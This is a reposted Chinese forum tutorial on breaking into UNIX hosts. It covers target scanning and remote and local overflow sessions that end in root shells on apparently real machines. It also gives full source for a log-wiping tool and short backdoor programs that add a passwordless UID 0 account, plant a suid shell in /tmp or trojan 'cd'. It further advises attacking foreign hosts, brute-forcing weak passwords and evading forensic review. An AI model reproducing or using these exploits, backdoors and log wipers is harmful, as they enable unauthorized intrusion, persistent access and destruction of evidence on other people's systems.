• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    浅谈入侵UNIX

    发布者: 404号房间 | 发布时间: 2025-6-27 15:33| 查看数: 92| 评论数: 0|帖子模式

    一:基本知识 1:常见UNIX版本:
    SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware...
    2:简单介绍几个
    sunos&solaris SUN本来想用solaris取代sunos,不过在用户的要求下,到目前为止,还是维持两者并存的政策;
    Freebsd是著名的BSD-UNIX的一的继承者,是UNIX众多分支中相当稳定的一个,很多ISP均使用运行Freebsd;
    Linux是一个面对PC机个人用户的自由廉价的UNIX产品(其硬件平台是Intel系列的CPU),实际上众多的网络管理员真正使用的是Linux。
    3:UNIX操作系统的特点
    (1)多用户和多任务;(2)可移植性;(3)树行结构的文件系统;(4)I/O重定向技术和管道技术;(5)丰富的实用程序;(6)每个用户都有电子邮件。
    4:尤为突出的优点
    (1)稳定可靠性高;(2)网络功能强;(3)开发性好;(4)强大的数据库支持功能;(5)伸缩性强。 二:入侵目的 1:学习UNIX,熟悉内部操作,整体配置...
    2:做跳板或以此捕捉更多UNIX肉鸡;
    3:越权得到某些正常请求下得不到的东西;
    4:攻击破坏或以此作为利器来破坏其他系统;
    5:更多...... 三:入侵方法 1:寻找目标 工具:supperscan,流光,LANguard Network Scanner 2.0或者其他,凭个人喜好选用
    supperscan:扫描23,79端口,注意含%,#,&...主机,这些就是UNIX;
    LANguard..作简单设置,即可开始,判断对方操作系统功能乃同类软件中的精品,直观准确;
    流光:利用高级扫描,选telnet,PRC,POP3,FTP,Finger即可。
    其他方法一样...
    (说明:很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现的信息,请注意识别) 2:开始入侵 (1)溢出(所有关于UNIX的溢出,都需要在一个UNIX/Linux的环境下进行编译)
    A:远程溢出
    溢出?呵呵,太多了!随便说几个:freebsd远程溢出,bind 远程溢出,Sun Solaris 5.7/5.8 Sparc远程溢出,redhat6.xrpc status远程溢出...自己去一一了解吧,在这里我简单说两个例子:
    a1:考虑到很多朋友使用windows,所以大家可以参看我的兄弟---蓝骑士的大作《freebsd溢出完全图文版》(地址:http://www.itser.com/ez/.bbs/topic.cgi?forum=7&topic=25&show=),因为这个溢出程序有已经编译好了可以直接在windows下使用;
    a2:Sun Solaris 5.7 Sparc远程溢出
    搜索...终于让我找到了一台sunos 5.7,上我一台sunos 5.8
    telnet 66.*.146.48 ----->>这是我的!
    SunOS 5.8 login: ply
    Password:
    Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli
    Sun Microsystems Inc. SunOS 5.8 Generic February 2000
    $ tmp/.sh ----->>当时溢出时做的处理!
    # ls
    bin data etc initrd mnt proc sbin usr
    boot dev home lib misc opt root tmp var
    xfn skip
    # cat >snmp.c ....... ----->>太长了,省略...自己去找! # gcc -o snmp snmp.c ----->>用gcc编译
    snmp.c: In function `main':
    snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type
    snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type
    snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
    # ls
    bin data etc initrd mnt proc sbin snmp usr
    boot dev home lib misc opt root snmp.c tmp var
    # ./snmp
    copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
    snmpXdmid for solaris 2.7 2.8 sparc usage: ./s address [-p port] -v 7|8
    #./snmp 216.*.45.63 -v 7 ---->开始溢出!!
    DELIRIUM mar 2001 poland //lsd-pl.net/
    snmpXdmid for solaris 2.7 2.8 sparc adr=0x000c8f68 timeout=30 port=928 connected!
    sent!
    SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
    id
    uid=0(root) gid=0(root) ----->>是root哦!
    echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加个用户先!
    echo "ply::::::::" >> /etc/shadow
    ... ----->>还想干什么就继续吧! B:本地溢出
    本地溢出需要一个具有Shell权限的帐号,这个帐号可以通过pop3或ftp弱密码得到,照样举个例子:
    流光扫描...一会儿得到了一个ftp帐号(webmaster,webmaster),先telnet上去!
    telnet *.174.62.135 Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定!
    Kernel 2.2.12-20kr2smp on an i686
    login: webmaster
    Password:
    Last login: Wed Apr 24 02:21:58 from *.*.*.*
    You have mail. ----->>这家伙有新邮件,不过我没兴趣!
    [webmaster@ns webmaster]$ ----->>气人的普通用户$
    [webmaster@ns webmaster]$cat >ts.c
    ... ----->>要学会利用网络资源,自己找,当是练习!
    [webmaster@ns webmaster]$gcc -o ts ts.c ----->>还是用gcc编译。
    In file included from /usr/include/asm/user.h:5,
    from /usr/include/linux/user.h:1,
    from ts.c:30:
    /usr/include/linux/ptrace.h:22: warning: `PTRACE_SYSCALL' redefined
    /usr/include/sys/ptrace.h:103: warning: this is the location of the previous def
    inition
    [webmaster@ns webmaster]$ ls
    Desktop/ Mail/ ts* ts.c
    [webmaster@ns webmaster]$ ./ts
    attached
    bash# su root
    [root@ns webmaster]# ----->>搞定,看见#我就高兴!
    [root@ns webmaster]# cat >wipe.c ----->>扫脚印的,这个还是给大家吧,否则有人要扁我了!
    /*=============================================================================
    UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
    The Shadow Penguin Security ( http://shadowpenguin.backsection.net )
    Written by UNYUN ( unewn4th@usa.net )
    =============================================================================
    */ #include
    #include
    #include
    #include #ifdef UTMAXTYPE
    #define UTMPX
    #include
    #endif
    #include
    #ifndef _PATH_LASTLOG
    #include
    #endif
    #include
    #include
    #include #define SVR4_UTMP "/var/adm/utmp"
    #define SVR4_WTMP "/var/adm/wtmp"
    #define SVR4_LASTLOG "/var/adm/lastlog" #define SUNOS4_UTMP "/etc/utmp"
    #define SUNOS4_WTMP "/usr/adm/wtmp"
    #define SUNOS4_LASTLOG "/usr/adm/lastlog" #define BSD_UTMP "/var/run/utmp"
    #define BSD_WTMP "/var/log/wtmp"
    #define BSD_LASTLOG "/var/log/lastlog" #define MAX_FPATH 512 int wipe_log(path,user,type)
    char *path,*user;
    int type;
    {
    struct utmp utmp_ent;
    #ifdef UTMPX
    struct utmpx utmpx_ent;
    #endif
    void *ent;
    char *un;
    int sz,fd,c=0; if (strlen(path)==0) return(1);
    if (type==0){
    ent=(void *)&utmp_ent;
    #ifdef UTMPX
    un=(char *)&utmp_ent.ut_user;
    #else
    un=(char *)&utmp_ent.ut_name;
    #endif
    sz=sizeof(struct utmp);
    }else{
    #ifdef UTMPX
    ent=(void *)&utmpx_ent;
    un=(char *)&utmpx_ent.ut_user;
    sz=sizeof(struct utmpx);
    #endif
    }
    if ((fd=open(path,O_RDWR))<=0) return(-1);
    while(read(fd,ent,sz)>0)
    if (!strncmp(un,user,strlen(user))){
    memset(ent,0,sz);
    lseek(fd,-sz,SEEK_CUR);
    write(fd,ent,sz);
    c  ;
    }
    close(fd);
    printf("Wiped %d entries of %s from %s.\n",c,user,path);
    return(0);
    } int wipe_lastlog(path,user,type)
    char *path,*user;
    int type;
    {
    struct passwd *p;
    struct lastlog ent;
    int fd;
    char buffer[MAX_FPATH]; if (type==0) strcpy(buffer,path);
    else sprintf(buffer,"%s/%s",path,user);
    memset(&ent,0,sizeof(struct lastlog));
    if ((p=getpwnam(user))==NULL) return(-1);
    if ((fd=open(buffer,O_RDWR))<=0) return(-2);
    if (type==0)
    lseek(fd,p->CNSU_uid*sizeof(struct lastlog),SEEK_SET);
    write(fd,&ent,sizeof(struct lastlog));
    close(fd);
    printf("Wiped %s from %s.\n",user,path);
    return(0);
    } main(argc,argv)
    int argc;
    char *argv[];
    {
    char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
    char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
    char f_lastlog[MAX_FPATH];
    struct utsname utname;
    int lastlog_type; if (argc!=2){
    printf("Usage: %s Usernane\n",argv[0]);
    exit(1);
    }
    if (getpwnam(argv[1])==NULL){
    printf("Unknown user : %s\n",argv[1]);
    exit(1);
    }
    uname(&utname);
    strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
    if (!strcmp(utname.sysname,"SunOS")){
    #ifdef UTMPX
    strcpy(f_utmp, SVR4_UTMP);
    strcpy(f_wtmp, SVR4_WTMP);
    strcpy(f_utmpx, UTMPX_FILE);
    strcpy(f_wtmpx, WTMPX_FILE);
    strcpy(f_lastlog, SVR4_LASTLOG);
    lastlog_type=0;
    #else
    strcpy(f_utmp, SUNOS4_UTMP);
    strcpy(f_wtmp, SUNOS4_WTMP);
    strcpy(f_lastlog, SUNOS4_LASTLOG);
    lastlog_type=0;
    #endif
    }else if (!strcmp(utname.sysname,"Linux")
    || !strcmp(utname.sysname,"FreeBSD")){
    strcpy(f_utmp, BSD_UTMP);
    strcpy(f_wtmp, BSD_WTMP);
    strcpy(f_lastlog, BSD_LASTLOG);
    }else if (!strcmp(utname.sysname,"IRIX")){
    #ifdef UTMPX
    strcpy(f_utmp, SVR4_UTMP);
    strcpy(f_wtmp, SVR4_WTMP);
    strcpy(f_utmpx, UTMPX_FILE);
    strcpy(f_wtmpx, WTMPX_FILE);
    strcpy(f_lastlog, SVR4_LASTLOG);
    lastlog_type=1;
    #else
    printf("Can not wipe. System Unknown.\n");
    #endif
    }else
    printf("Can not wipe. System Unknown.\n"); wipe_log(f_utmp, argv[1],0);
    wipe_log(f_utmpx,argv[1],1);
    wipe_log(f_wtmp, argv[1],0);
    wipe_log(f_wtmpx,argv[1],1);
    wipe_lastlog(f_lastlog,argv[1],lastlog_type);
    }
    ^d [root@ns webmaster]# gcc -o wipe wipe.c
    [root@ns webmaster]# ./wipe webmaster ----->>./wipe username就可以扫掉脚印了! (2)扫描弱口令或暴力破解口令
    A:弱口令使用于大范围搜捕,即利用少量常见多用密码去推测大量主机的telnet,ftp或pop3
    B:暴力破解适用于针对某一主机,比如说利用finger获得了用户列表,即可采用字典攻击!或者说利用其他漏洞(如phf漏洞)获得了passwd,shadow文件,可以拿john或者乱刀解破,能否解破?看运气! (3)利用特洛伊木马窃取口令(我没有这么做过,但这不失为一种方法) (4)网络监听和数据截取(大家和我一起努力吧,努力学会利用这种方法) (5)这里给大家几个简单的后门程序,复杂的自己去看!
    a1:口令文件 passwd 中增加一个 UID 为 0 的帐号
    #include  main()
    {
    FILE *fd;
    fd=fopen("/etc/passwd","a ");
    fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
    }
    a2:在 /tmp 目录下放置 suid shell
    #include
    main()
    {
    system("cp /bin/sh /tmp/fid");
    system("chown root.root /tmp/fid");
    system("chmod 4755 /tmp/fid");
    }
    a3:管理员偶然地输入cd..时向/etc/passwd文件添加一个UID 0 帐号
    #include 
    #include  main()
    {
    FILE *fd;
    fd=fopen("/etc/passwd","a ");
    fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
    system("cd");
    }
    (6)攻击(特别是溢出)的方式很多,但方法大多大同小异,故不再赘叙! 四:补充说明 1:如用supperscan发现某ip段存在大量unix主机,马上转用弱口令破解;或发现某连续ip段全是同一个unix版本操作系统,则此ip段很有可能是某大公司,企业,高校或其他,一般防护甚严,不存在溢出漏洞,无需逐一尝试溢出,随便选两三个试试看行不行;
    2:到信息产业发达的国家去找,比如说美国,日本...不要找国内的,又少又危险!
    3:若发现telnet不上上次成功溢出的肉鸡,说明此肉鸡的ip是动态的,但ip改变不会太大,在临近ip再搜一遍即可! 五:强调说明 不要简单地认为你已经轻易地檫干净了你的入侵痕迹,很多有经验的管理员都把日志文件转到了其他主机上或作相关安全处理,一旦管理员发现了入侵,他会从如下方面来分析攻击者的入侵方式,你应该以此做出相应的应对措施:
    1:查找系统文件和系统培植文件的变化;
    2:查找数据文件的变化;
    3:查找入侵留下的数据文件和相关工具;
    4:检查日志文件
    5:查找出网络监听的迹象
    6:检查局域网上的其他计算机。 六:本文中存在的缺点错误还望容忍并多加批评与指正!本文欢迎转载,但请务必保持全文完整! 七:警告,请清醒地估量你的行为可能带来的后果!  

    来源:https://www.jb51.net/hack/5281.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表